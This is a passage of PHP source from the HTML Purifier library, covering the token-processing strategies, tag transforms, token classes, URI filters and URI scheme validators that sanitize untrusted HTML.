array_unshift($replace, $new_token); if (isset($definition->info[$new_token->name]) && $definition->info[$new_token->name]->formatting) { // [TagClosedAuto] $element = clone $skipped_tags[$j]; $element->carryover = true; $element->armor['MakeWellFormed_TagClosedError'] = true; $replace[] = $element; } } $token = $this->processToken($replace); $reprocess = true; continue; } $context->destroy('CurrentToken'); $context->destroy('CurrentNesting'); $context->destroy('InputZipper'); unset($this->injectors, $this->stack, $this->tokens); return $zipper->toArray($token); } /** * Processes arbitrary token values for complicated substitution patterns. * In general: * * If $token is an array, it is a list of tokens to substitute for the * current token. These tokens then get individually processed. If there * is a leading integer in the list, that integer determines how many * tokens from the stream should be removed. * * If $token is a regular token, it is swapped with the current token. * * If $token is false, the current token is deleted. * * If $token is an integer, that number of tokens (with the first token * being the current one) will be deleted. * * @param HTMLPurifier_Token|array|int|bool $token Token substitution value * @param HTMLPurifier_Injector|int $injector Injector that performed the substitution; default is if * this is not an injector related operation. * @throws HTMLPurifier_Exception */ protected function processToken($token, $injector = -1) { // normalize forms of token if (is_object($token)) { $token = array(1, $token); } if (is_int($token)) { $token = array($token); } if ($token === false) { $token = array(1); } if (!is_array($token)) { throw new HTMLPurifier_Exception('Invalid token type from injector'); } if (!is_int($token[0])) { array_unshift($token, 1); } if ($token[0] === 0) { throw new HTMLPurifier_Exception('Deleting zero tokens is not valid'); } // $token is now an array with the following form: // array(number nodes to delete, new node 1, new node 2, ...) $delete = array_shift($token); list($old, $r) = $this->zipper->splice($this->token, $delete, $token); if ($injector > -1) { // determine appropriate skips $oldskip = isset($old[0]) ? $old[0]->skip : array(); foreach ($token as $object) { $object->skip = $oldskip; $object->skip[$injector] = true; } } return $r; } /** * Inserts a token before the current token. Cursor now points to * this token. You must reprocess after this. * @param HTMLPurifier_Token $token */ private function insertBefore($token) { // NB not $this->zipper->insertBefore(), due to positioning // differences $splice = $this->zipper->splice($this->token, 0, array($token)); return $splice[1]; } /** * Removes current token. Cursor now points to new token occupying previously * occupied space. You must reprocess after this. */ private function remove() { return $this->zipper->delete(); } } /** * Removes all unrecognized tags from the list of tokens. * * This strategy iterates through all the tokens and removes unrecognized * tokens. If a token is not recognized but a TagTransform is defined for * that element, the element will be transformed accordingly. */ class HTMLPurifier_Strategy_RemoveForeignElements extends HTMLPurifier_Strategy { /** * @param HTMLPurifier_Token[] $tokens * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return array|HTMLPurifier_Token[] */ public function execute($tokens, $config, $context) { $definition = $config->getHTMLDefinition(); $generator = new HTMLPurifier_Generator($config, $context); $result = array(); $escape_invalid_tags = $config->get('Core.EscapeInvalidTags'); $remove_invalid_img = $config->get('Core.RemoveInvalidImg'); // currently only used to determine if comments should be kept $trusted = $config->get('HTML.Trusted'); $comment_lookup = $config->get('HTML.AllowedComments'); $comment_regexp = $config->get('HTML.AllowedCommentsRegexp'); $check_comments = $comment_lookup !== array() || $comment_regexp !== null; $remove_script_contents = $config->get('Core.RemoveScriptContents'); $hidden_elements = $config->get('Core.HiddenElements'); // remove script contents compatibility if ($remove_script_contents === true) { $hidden_elements['script'] = true; } elseif ($remove_script_contents === false && isset($hidden_elements['script'])) { unset($hidden_elements['script']); } $attr_validator = new HTMLPurifier_AttrValidator(); // removes tokens until it reaches a closing tag with its value $remove_until = false; // converts comments into text tokens when this is equal to a tag name $textify_comments = false; $token = false; $context->register('CurrentToken', $token); $e = false; if ($config->get('Core.CollectErrors')) { $e =& $context->get('ErrorCollector'); } foreach ($tokens as $token) { if ($remove_until) { if (empty($token->is_tag) || $token->name !== $remove_until) { continue; } } if (!empty($token->is_tag)) { // DEFINITION CALL // before any processing, try to transform the element if (isset($definition->info_tag_transform[$token->name])) { $original_name = $token->name; // there is a transformation for this tag // DEFINITION CALL $token = $definition-> info_tag_transform[$token->name]->transform($token, $config, $context); if ($e) { $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', $original_name); } } if (isset($definition->info[$token->name])) { // mostly everything's good, but // we need to make sure required attributes are in order if (($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) && $definition->info[$token->name]->required_attr && ($token->name != 'img' || $remove_invalid_img) // ensure config option still works ) { $attr_validator->validateToken($token, $config, $context); $ok = true; foreach ($definition->info[$token->name]->required_attr as $name) { if (!isset($token->attr[$name])) { $ok = false; break; } } if (!$ok) { if ($e) { $e->send( E_ERROR, 'Strategy_RemoveForeignElements: Missing required attribute', $name ); } continue; } $token->armor['ValidateAttributes'] = true; } if (isset($hidden_elements[$token->name]) && $token instanceof HTMLPurifier_Token_Start) { $textify_comments = $token->name; } elseif ($token->name === $textify_comments && $token instanceof HTMLPurifier_Token_End) { $textify_comments = false; } } elseif ($escape_invalid_tags) { // invalid tag, generate HTML representation and insert in if ($e) { $e->send(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); } $token = new HTMLPurifier_Token_Text( $generator->generateFromToken($token) ); } else { // check if we need to destroy all of the tag's children // CAN BE GENERICIZED if (isset($hidden_elements[$token->name])) { if ($token instanceof HTMLPurifier_Token_Start) { $remove_until = $token->name; } elseif ($token instanceof HTMLPurifier_Token_Empty) { // do nothing: we're still looking } else { $remove_until = false; } if ($e) { $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed'); } } else { if ($e) { $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); } } continue; } } elseif ($token instanceof HTMLPurifier_Token_Comment) { // textify comments in script tags when they are allowed if ($textify_comments !== false) { $data = $token->data; $token = new HTMLPurifier_Token_Text($data); } elseif ($trusted || $check_comments) { // always cleanup comments $trailing_hyphen = false; if ($e) { // perform check whether or not there's a trailing hyphen if (substr($token->data, -1) == '-') { $trailing_hyphen = true; } } $token->data = rtrim($token->data, '-'); $found_double_hyphen = false; while (strpos($token->data, '--') !== false) { $found_double_hyphen = true; $token->data = str_replace('--', '-', $token->data); } if ($trusted || !empty($comment_lookup[trim($token->data)]) || ($comment_regexp !== null && preg_match($comment_regexp, trim($token->data)))) { // OK good if ($e) { if ($trailing_hyphen) { $e->send( E_NOTICE, 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed' ); } if ($found_double_hyphen) { $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed'); } } } else { if ($e) { $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); } continue; } } else { // strip comments if ($e) { $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); } continue; } } elseif ($token instanceof HTMLPurifier_Token_Text) { } else { continue; } $result[] = $token; } if ($remove_until && $e) { // we removed tokens until the end, throw error $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', $remove_until); } $context->destroy('CurrentToken'); return $result; } } /** * Validate all attributes in the tokens. */ class HTMLPurifier_Strategy_ValidateAttributes extends HTMLPurifier_Strategy { /** * @param HTMLPurifier_Token[] $tokens * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return HTMLPurifier_Token[] */ public function execute($tokens, $config, $context) { // setup validator $validator = new HTMLPurifier_AttrValidator(); $token = false; $context->register('CurrentToken', $token); foreach ($tokens as $key => $token) { // only process tokens that have attributes, // namely start and empty tags if (!$token instanceof HTMLPurifier_Token_Start && !$token instanceof HTMLPurifier_Token_Empty) { continue; } // skip tokens that are armored if (!empty($token->armor['ValidateAttributes'])) { continue; } // note that we have no facilities here for removing tokens $validator->validateToken($token, $config, $context); } $context->destroy('CurrentToken'); return $tokens; } } /** * Transforms FONT tags to the proper form (SPAN with CSS styling) * * This transformation takes the three proprietary attributes of FONT and * transforms them into their corresponding CSS attributes. These are color, * face, and size. * * @note Size is an interesting case because it doesn't map cleanly to CSS. * Thanks to * http://style.cleverchimp.com/font_size_intervals/altintervals.html * for reasonable mappings. * @warning This doesn't work completely correctly; specifically, this * TagTransform operates before well-formedness is enforced, so * the "active formatting elements" algorithm doesn't get applied. */ class HTMLPurifier_TagTransform_Font extends HTMLPurifier_TagTransform { /** * @type string */ public $transform_to = 'span'; /** * @type array */ protected $_size_lookup = array( '0' => 'xx-small', '1' => 'xx-small', '2' => 'small', '3' => 'medium', '4' => 'large', '5' => 'x-large', '6' => 'xx-large', '7' => '300%', '-1' => 'smaller', '-2' => '60%', '+1' => 'larger', '+2' => '150%', '+3' => '200%', '+4' => '300%' ); /** * @param HTMLPurifier_Token_Tag $tag * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return HTMLPurifier_Token_End|string */ public function transform($tag, $config, $context) { if ($tag instanceof HTMLPurifier_Token_End) { $new_tag = clone $tag; $new_tag->name = $this->transform_to; return $new_tag; } $attr = $tag->attr; $prepend_style = ''; // handle color transform if (isset($attr['color'])) { $prepend_style .= 'color:' . $attr['color'] . ';'; unset($attr['color']); } // handle face transform if (isset($attr['face'])) { $prepend_style .= 'font-family:' . $attr['face'] . ';'; unset($attr['face']); } // handle size transform if (isset($attr['size'])) { // normalize large numbers if ($attr['size'] !== '') { if ($attr['size']{0} == '+' || $attr['size']{0} == '-') { $size = (int)$attr['size']; if ($size < -2) { $attr['size'] = '-2'; } if ($size > 4) { $attr['size'] = '+4'; } } else { $size = (int)$attr['size']; if ($size > 7) { $attr['size'] = '7'; } } } if (isset($this->_size_lookup[$attr['size']])) { $prepend_style .= 'font-size:' . $this->_size_lookup[$attr['size']] . ';'; } unset($attr['size']); } if ($prepend_style) { $attr['style'] = isset($attr['style']) ? $prepend_style . $attr['style'] : $prepend_style; } $new_tag = clone $tag; $new_tag->name = $this->transform_to; $new_tag->attr = $attr; return $new_tag; } } /** * Simple transformation, just change tag name to something else, * and possibly add some styling. This will cover most of the deprecated * tag cases. */ class HTMLPurifier_TagTransform_Simple extends HTMLPurifier_TagTransform { /** * @type string */ protected $style; /** * @param string $transform_to Tag name to transform to. * @param string $style CSS style to add to the tag */ public function __construct($transform_to, $style = null) { $this->transform_to = $transform_to; $this->style = $style; } /** * @param HTMLPurifier_Token_Tag $tag * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return string */ public function transform($tag, $config, $context) { $new_tag = clone $tag; $new_tag->name = $this->transform_to; if (!is_null($this->style) && ($new_tag instanceof HTMLPurifier_Token_Start || $new_tag instanceof HTMLPurifier_Token_Empty) ) { $this->prependCSS($new_tag->attr, $this->style); } return $new_tag; } } /** * Concrete comment token class. Generally will be ignored. */ class HTMLPurifier_Token_Comment extends HTMLPurifier_Token { /** * Character data within comment. * @type string */ public $data; /** * @type bool */ public $is_whitespace = true; /** * Transparent constructor. * * @param string $data String comment data. * @param int $line * @param int $col */ public function __construct($data, $line = null, $col = null) { $this->data = $data; $this->line = $line; $this->col = $col; } public function toNode() { return new HTMLPurifier_Node_Comment($this->data, $this->line, $this->col); } } /** * Abstract class of a tag token (start, end or empty), and its behavior. */ abstract class HTMLPurifier_Token_Tag extends HTMLPurifier_Token { /** * Static bool marker that indicates the class is a tag. * * This allows us to check objects with !empty($obj->is_tag) * without having to use a function call is_a(). * @type bool */ public $is_tag = true; /** * The lower-case name of the tag, like 'a', 'b' or 'blockquote'. * * @note Strictly speaking, XML tags are case sensitive, so we shouldn't * be lower-casing them, but these tokens cater to HTML tags, which are * insensitive. * @type string */ public $name; /** * Associative array of the tag's attributes. * @type array */ public $attr = array(); /** * Non-overloaded constructor, which lower-cases passed tag name. * * @param string $name String name. * @param array $attr Associative array of attributes. * @param int $line * @param int $col * @param array $armor */ public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) { $this->name = ctype_lower($name) ? $name : strtolower($name); foreach ($attr as $key => $value) { // normalization only necessary when key is not lowercase if (!ctype_lower($key)) { $new_key = strtolower($key); if (!isset($attr[$new_key])) { $attr[$new_key] = $attr[$key]; } if ($new_key !== $key) { unset($attr[$key]); } } } $this->attr = $attr; $this->line = $line; $this->col = $col; $this->armor = $armor; } public function toNode() { return new HTMLPurifier_Node_Element($this->name, $this->attr, $this->line, $this->col, $this->armor); } } /** * Concrete empty token class. */ class HTMLPurifier_Token_Empty extends HTMLPurifier_Token_Tag { public function toNode() { $n = parent::toNode(); $n->empty = true; return $n; } } /** * Concrete end token class. * * @warning This class accepts attributes even though end tags cannot. This * is for optimization reasons, as under normal circumstances, the Lexers * do not pass attributes. */ class HTMLPurifier_Token_End extends HTMLPurifier_Token_Tag { /** * Token that started this node. * Added by MakeWellFormed. Please do not edit this! * @type HTMLPurifier_Token */ public $start; public function toNode() { throw new Exception("HTMLPurifier_Token_End->toNode not supported!"); } } /** * Concrete start token class. */ class HTMLPurifier_Token_Start extends HTMLPurifier_Token_Tag { } /** * Concrete text token class. * * Text tokens comprise of regular parsed character data (PCDATA) and raw * character data (from the CDATA sections). Internally, their * data is parsed with all entities expanded. Surprisingly, the text token * does have a "tag name" called #PCDATA, which is how the DTD represents it * in permissible child nodes. */ class HTMLPurifier_Token_Text extends HTMLPurifier_Token { /** * @type string */ public $name = '#PCDATA'; /**< PCDATA tag name compatible with DTD. */ /** * @type string */ public $data; /**< Parsed character data of text. */ /** * @type bool */ public $is_whitespace; /**< Bool indicating if node is whitespace. */ /** * Constructor, accepts data and determines if it is whitespace. * @param string $data String parsed character data. * @param int $line * @param int $col */ public function __construct($data, $line = null, $col = null) { $this->data = $data; $this->is_whitespace = ctype_space($data); $this->line = $line; $this->col = $col; } public function toNode() { return new HTMLPurifier_Node_Text($this->data, $this->is_whitespace, $this->line, $this->col); } } class HTMLPurifier_URIFilter_DisableExternal extends HTMLPurifier_URIFilter { /** * @type string */ public $name = 'DisableExternal'; /** * @type array */ protected $ourHostParts = false; /** * @param HTMLPurifier_Config $config * @return void */ public function prepare($config) { $our_host = $config->getDefinition('URI')->host; if ($our_host !== null) { $this->ourHostParts = array_reverse(explode('.', $our_host)); } } /** * @param HTMLPurifier_URI $uri Reference * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function filter(&$uri, $config, $context) { if (is_null($uri->host)) { return true; } if ($this->ourHostParts === false) { return false; } $host_parts = array_reverse(explode('.', $uri->host)); foreach ($this->ourHostParts as $i => $x) { if (!isset($host_parts[$i])) { return false; } if ($host_parts[$i] != $this->ourHostParts[$i]) { return false; } } return true; } } class HTMLPurifier_URIFilter_DisableExternalResources extends HTMLPurifier_URIFilter_DisableExternal { /** * @type string */ public $name = 'DisableExternalResources'; /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function filter(&$uri, $config, $context) { if (!$context->get('EmbeddedURI', true)) { return true; } return parent::filter($uri, $config, $context); } } class HTMLPurifier_URIFilter_DisableResources extends HTMLPurifier_URIFilter { /** * @type string */ public $name = 'DisableResources'; /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function filter(&$uri, $config, $context) { return !$context->get('EmbeddedURI', true); } } // It's not clear to me whether or not Punycode means that hostnames // do not have canonical forms anymore. As far as I can tell, it's // not a problem (punycoding should be identity when no Unicode // points are involved), but I'm not 100% sure class HTMLPurifier_URIFilter_HostBlacklist extends HTMLPurifier_URIFilter { /** * @type string */ public $name = 'HostBlacklist'; /** * @type array */ protected $blacklist = array(); /** * @param HTMLPurifier_Config $config * @return bool */ public function prepare($config) { $this->blacklist = $config->get('URI.HostBlacklist'); return true; } /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function filter(&$uri, $config, $context) { foreach ($this->blacklist as $blacklisted_host_fragment) { if (strpos($uri->host, $blacklisted_host_fragment) !== false) { return false; } } return true; } } // does not support network paths class HTMLPurifier_URIFilter_MakeAbsolute extends HTMLPurifier_URIFilter { /** * @type string */ public $name = 'MakeAbsolute'; /** * @type */ protected $base; /** * @type array */ protected $basePathStack = array(); /** * @param HTMLPurifier_Config $config * @return bool */ public function prepare($config) { $def = $config->getDefinition('URI'); $this->base = $def->base; if (is_null($this->base)) { trigger_error( 'URI.MakeAbsolute is being ignored due to lack of ' . 'value for URI.Base configuration', E_USER_WARNING ); return false; } $this->base->fragment = null; // fragment is invalid for base URI $stack = explode('/', $this->base->path); array_pop($stack); // discard last segment $stack = $this->_collapseStack($stack); // do pre-parsing $this->basePathStack = $stack; return true; } /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function filter(&$uri, $config, $context) { if (is_null($this->base)) { return true; } // abort early if ($uri->path === '' && is_null($uri->scheme) && is_null($uri->host) && is_null($uri->query) && is_null($uri->fragment)) { // reference to current document $uri = clone $this->base; return true; } if (!is_null($uri->scheme)) { // absolute URI already: don't change if (!is_null($uri->host)) { return true; } $scheme_obj = $uri->getSchemeObj($config, $context); if (!$scheme_obj) { // scheme not recognized return false; } if (!$scheme_obj->hierarchical) { // non-hierarchal URI with explicit scheme, don't change return true; } // special case: had a scheme but always is hierarchical and had no authority } if (!is_null($uri->host)) { // network path, don't bother return true; } if ($uri->path === '') { $uri->path = $this->base->path; } elseif ($uri->path[0] !== '/') { // relative path, needs more complicated processing $stack = explode('/', $uri->path); $new_stack = array_merge($this->basePathStack, $stack); if ($new_stack[0] !== '' && !is_null($this->base->host)) { array_unshift($new_stack, ''); } $new_stack = $this->_collapseStack($new_stack); $uri->path = implode('/', $new_stack); } else { // absolute path, but still we should collapse $uri->path = implode('/', $this->_collapseStack(explode('/', $uri->path))); } // re-combine $uri->scheme = $this->base->scheme; if (is_null($uri->userinfo)) { $uri->userinfo = $this->base->userinfo; } if (is_null($uri->host)) { $uri->host = $this->base->host; } if (is_null($uri->port)) { $uri->port = $this->base->port; } return true; } /** * Resolve dots and double-dots in a path stack * @param array $stack * @return array */ private function _collapseStack($stack) { $result = array(); $is_folder = false; for ($i = 0; isset($stack[$i]); $i++) { $is_folder = false; // absorb an internally duplicated slash if ($stack[$i] == '' && $i && isset($stack[$i + 1])) { continue; } if ($stack[$i] == '..') { if (!empty($result)) { $segment = array_pop($result); if ($segment === '' && empty($result)) { // error case: attempted to back out too far: // restore the leading slash $result[] = ''; } elseif ($segment === '..') { $result[] = '..'; // cannot remove .. with .. } } else { // relative path, preserve the double-dots $result[] = '..'; } $is_folder = true; continue; } if ($stack[$i] == '.') { // silently absorb $is_folder = true; continue; } $result[] = $stack[$i]; } if ($is_folder) { $result[] = ''; } return $result; } } class HTMLPurifier_URIFilter_Munge extends HTMLPurifier_URIFilter { /** * @type string */ public $name = 'Munge'; /** * @type bool */ public $post = true; /** * @type string */ private $target; /** * @type HTMLPurifier_URIParser */ private $parser; /** * @type bool */ private $doEmbed; /** * @type string */ private $secretKey; /** * @type array */ protected $replace = array(); /** * @param HTMLPurifier_Config $config * @return bool */ public function prepare($config) { $this->target = $config->get('URI.' . $this->name); $this->parser = new HTMLPurifier_URIParser(); $this->doEmbed = $config->get('URI.MungeResources'); $this->secretKey = $config->get('URI.MungeSecretKey'); if ($this->secretKey && !function_exists('hash_hmac')) { throw new Exception("Cannot use %URI.MungeSecretKey without hash_hmac support."); } return true; } /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function filter(&$uri, $config, $context) { if ($context->get('EmbeddedURI', true) && !$this->doEmbed) { return true; } $scheme_obj = $uri->getSchemeObj($config, $context); if (!$scheme_obj) { return true; } // ignore unknown schemes, maybe another postfilter did it if (!$scheme_obj->browsable) { return true; } // ignore non-browseable schemes, since we can't munge those in a reasonable way if ($uri->isBenign($config, $context)) { return true; } // don't redirect if a benign URL $this->makeReplace($uri, $config, $context); $this->replace = array_map('rawurlencode', $this->replace); $new_uri = strtr($this->target, $this->replace); $new_uri = $this->parser->parse($new_uri); // don't redirect if the target host is the same as the // starting host if ($uri->host === $new_uri->host) { return true; } $uri = $new_uri; // overwrite return true; } /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context */ protected function makeReplace($uri, $config, $context) { $string = $uri->toString(); // always available $this->replace['%s'] = $string; $this->replace['%r'] = $context->get('EmbeddedURI', true); $token = $context->get('CurrentToken', true); $this->replace['%n'] = $token ? $token->name : null; $this->replace['%m'] = $context->get('CurrentAttr', true); $this->replace['%p'] = $context->get('CurrentCSSProperty', true); // not always available if ($this->secretKey) { $this->replace['%t'] = hash_hmac("sha256", $string, $this->secretKey); } } } /** * Implements safety checks for safe iframes. * * @warning This filter is *critical* for ensuring that %HTML.SafeIframe * works safely. */ class HTMLPurifier_URIFilter_SafeIframe extends HTMLPurifier_URIFilter { /** * @type string */ public $name = 'SafeIframe'; /** * @type bool */ public $always_load = true; /** * @type string */ protected $regexp = null; // XXX: The not so good bit about how this is all set up now is we // can't check HTML.SafeIframe in the 'prepare' step: we have to // defer till the actual filtering. /** * @param HTMLPurifier_Config $config * @return bool */ public function prepare($config) { $this->regexp = $config->get('URI.SafeIframeRegexp'); return true; } /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function filter(&$uri, $config, $context) { // check if filter not applicable if (!$config->get('HTML.SafeIframe')) { return true; } // check if the filter should actually trigger if (!$context->get('EmbeddedURI', true)) { return true; } $token = $context->get('CurrentToken', true); if (!($token && $token->name == 'iframe')) { return true; } // check if we actually have some whitelists enabled if ($this->regexp === null) { return false; } // actually check the whitelists return preg_match($this->regexp, $uri->toString()); } } /** * Implements data: URI for base64 encoded images supported by GD. */ class HTMLPurifier_URIScheme_data extends HTMLPurifier_URIScheme { /** * @type bool */ public $browsable = true; /** * @type array */ public $allowed_types = array( // you better write validation code for other types if you // decide to allow them 'image/jpeg' => true, 'image/gif' => true, 'image/png' => true, ); // this is actually irrelevant since we only write out the path // component /** * @type bool */ public $may_omit_host = true; /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function doValidate(&$uri, $config, $context) { $result = explode(',', $uri->path, 2); $is_base64 = false; $charset = null; $content_type = null; if (count($result) == 2) { list($metadata, $data) = $result; // do some legwork on the metadata $metas = explode(';', $metadata); while (!empty($metas)) { $cur = array_shift($metas); if ($cur == 'base64') { $is_base64 = true; break; } if (substr($cur, 0, 8) == 'charset=') { // doesn't match if there are arbitrary spaces, but // whatever dude if ($charset !== null) { continue; } // garbage $charset = substr($cur, 8); // not used } else { if ($content_type !== null) { continue; } // garbage $content_type = $cur; } } } else { $data = $result[0]; } if ($content_type !== null && empty($this->allowed_types[$content_type])) { return false; } if ($charset !== null) { // error; we don't allow plaintext stuff $charset = null; } $data = rawurldecode($data); if ($is_base64) { $raw_data = base64_decode($data); } else { $raw_data = $data; } // XXX probably want to refactor this into a general mechanism // for filtering arbitrary content types $file = tempnam("/tmp", ""); file_put_contents($file, $raw_data); if (function_exists('exif_imagetype')) { $image_code = exif_imagetype($file); unlink($file); } elseif (function_exists('getimagesize')) { set_error_handler(array($this, 'muteErrorHandler')); $info = getimagesize($file); restore_error_handler(); unlink($file); if ($info == false) { return false; } $image_code = $info[2]; } else { trigger_error("could not find exif_imagetype or getimagesize functions", E_USER_ERROR); } $real_content_type = image_type_to_mime_type($image_code); if ($real_content_type != $content_type) { // we're nice guys; if the content type is something else we // support, change it over if (empty($this->allowed_types[$real_content_type])) { return false; } $content_type = $real_content_type; } // ok, it's kosher, rewrite what we need $uri->userinfo = null; $uri->host = null; $uri->port = null; $uri->fragment = null; $uri->query = null; $uri->path = "$content_type;base64," . base64_encode($raw_data); return true; } /** * @param int $errno * @param string $errstr */ public function muteErrorHandler($errno, $errstr) { } } /** * Validates file as defined by RFC 1630 and RFC 1738. */ class HTMLPurifier_URIScheme_file extends HTMLPurifier_URIScheme { /** * Generally file:// URLs are not accessible from most * machines, so placing them as an img src is incorrect. * @type bool */ public $browsable = false; /** * Basically the *only* URI scheme for which this is true, since * accessing files on the local machine is very common. In fact, * browsers on some operating systems don't understand the * authority, though I hear it is used on Windows to refer to * network shares. * @type bool */ public $may_omit_host = true; /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function doValidate(&$uri, $config, $context) { // Authentication method is not supported $uri->userinfo = null; // file:// makes no provisions for accessing the resource $uri->port = null; // While it seems to work on Firefox, the querystring has // no possible effect and is thus stripped. $uri->query = null; return true; } } /** * Validates ftp (File Transfer Protocol) URIs as defined by generic RFC 1738. */ class HTMLPurifier_URIScheme_ftp extends HTMLPurifier_URIScheme { /** * @type int */ public $default_port = 21; /** * @type bool */ public $browsable = true; // usually /** * @type bool */ public $hierarchical = true; /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function doValidate(&$uri, $config, $context) { $uri->query = null; // typecode check $semicolon_pos = strrpos($uri->path, ';'); // reverse if ($semicolon_pos !== false) { $type = substr($uri->path, $semicolon_pos + 1); // no semicolon $uri->path = substr($uri->path, 0, $semicolon_pos); $type_ret = ''; if (strpos($type, '=') !== false) { // figure out whether or not the declaration is correct list($key, $typecode) = explode('=', $type, 2); if ($key !== 'type') { // invalid key, tack it back on encoded $uri->path .= '%3B' . $type; } elseif ($typecode === 'a' || $typecode === 'i' || $typecode === 'd') { $type_ret = ";type=$typecode"; } } else { $uri->path .= '%3B' . $type; } $uri->path = str_replace(';', '%3B', $uri->path); $uri->path .= $type_ret; } return true; } } /** * Validates http (HyperText Transfer Protocol) as defined by RFC 2616 */ class HTMLPurifier_URIScheme_http extends HTMLPurifier_URIScheme { /** * @type int */ public $default_port = 80; /** * @type bool */ public $browsable = true; /** * @type bool */ public $hierarchical = true; /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function doValidate(&$uri, $config, $context) { $uri->userinfo = null; return true; } } /** * Validates https (Secure HTTP) according to http scheme. */ class HTMLPurifier_URIScheme_https extends HTMLPurifier_URIScheme_http { /** * @type int */ public $default_port = 443; /** * @type bool */ public $secure = true; } // VERY RELAXED! Shouldn't cause problems, not even Firefox checks if the // email is valid, but be careful! /** * Validates mailto (for E-mail) according to RFC 2368 * @todo Validate the email address * @todo Filter allowed query parameters */ class HTMLPurifier_URIScheme_mailto extends HTMLPurifier_URIScheme { /** * @type bool */ public $browsable = false; /** * @type bool */ public $may_omit_host = true; /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function doValidate(&$uri, $config, $context) { $uri->userinfo = null; $uri->host = null; $uri->port = null; // we need to validate path against RFC 2368's addr-spec return true; } } /** * Validates news (Usenet) as defined by generic RFC 1738 */ class HTMLPurifier_URIScheme_news extends HTMLPurifier_URIScheme { /** * @type bool */ public $browsable = false; /** * @type bool */ public $may_omit_host = true; /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function doValidate(&$uri, $config, $context) { $uri->userinfo = null; $uri->host = null; $uri->port = null; $uri->query = null; // typecode check needed on path return true; } } /** * Validates nntp (Network News Transfer Protocol) as defined by generic RFC 1738 */ class HTMLPurifier_URIScheme_nntp extends HTMLPurifier_URIScheme { /** * @type int */ public $default_port = 119; /** * @type bool */ public $browsable = false; /** * @param HTMLPurifier_URI $uri * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return bool */ public function doValidate(&$uri, $config, $context) { $uri->userinfo = null; $uri->query = null; return true; } } /** * Performs safe variable parsing based on types which can be used by * users. This may not be able to represent all possible data inputs, * however. */ class HTMLPurifier_VarParser_Flexible extends HTMLPurifier_VarParser { /** * @param mixed $var * @param int $type * @param bool $allow_null * @return array|bool|float|int|mixed|null|string * @throws HTMLPurifier_VarParserException */ protected function parseImplementation($var, $type, $allow_null) { if ($allow_null && $var === null) { return null; } switch ($type) { // Note: if code "breaks" from the switch, it triggers a generic // exception to be thrown. Specific errors can be specifically // done here. case self::MIXED: case self::ISTRING: case self::STRING: case self::TEXT: case self::ITEXT: return $var; case self::INT: if (is_string($var) && ctype_digit($var)) { $var = (int)$var; } return $var; case self::FLOAT: if ((is_string($var) && is_numeric($var)) || is_int($var)) { $var = (float)$var; } return $var; case self::BOOL: if (is_int($var) && ($var === 0 || $var === 1)) { $var = (bool)$var; } elseif (is_string($var)) { if ($var == 'on' || $var == 'true' || $var == '1') { $var = true; } elseif ($var == 'off' || $var == 'false' || $var == '0') { $var = false; } else { throw new HTMLPurifier_VarParserException("Unrecognized value '$var' for $type"); } } return $var; case self::ALIST: case self::HASH: case self::LOOKUP: if (is_string($var)) { // special case: technically, this is an array with // a single empty string item, but having an empty // array is more intuitive if ($var == '') { return array(); } if (strpos($var, "\n") === false && strpos($var, "\r") === false) { // simplistic string to array method that only works // for simple lists of tag names or alphanumeric characters $var = explode(',', $var); } else { $var = preg_split('/(,|[\n\r]+)/', $var); } // remove spaces foreach ($var as $i => $j) { $var[$i] = trim($j); } if ($type === self::HASH) { // key:value,key2:value2 $nvar = array(); foreach ($var as $keypair) { $c = explode(':', $keypair, 2); if (!isset($c[1])) { continue; } $nvar[trim($c[0])] = trim($c[1]); } $var = $nvar; } } if (!is_array($var)) { break; } $keys = array_keys($var); if ($keys === array_keys($keys)) { if ($type == self::ALIST) { return $var; } elseif ($type == self::LOOKUP) { $new = array(); foreach ($var as $key) { $new[$key] = true; } return $new; } else { break; } } if ($type === self::ALIST) { trigger_error("Array list did not have consecutive integer indexes", E_USER_WARNING); return array_values($var); } if ($type === self::LOOKUP) { foreach ($var as $key => $value) { if ($value !== true) { trigger_error( "Lookup array has non-true value at key '$key'; " . "maybe your input array was not indexed numerically", E_USER_WARNING ); } $var[$key] = true; } } return $var; default: $this->errorInconsistent(__CLASS__, $type); } 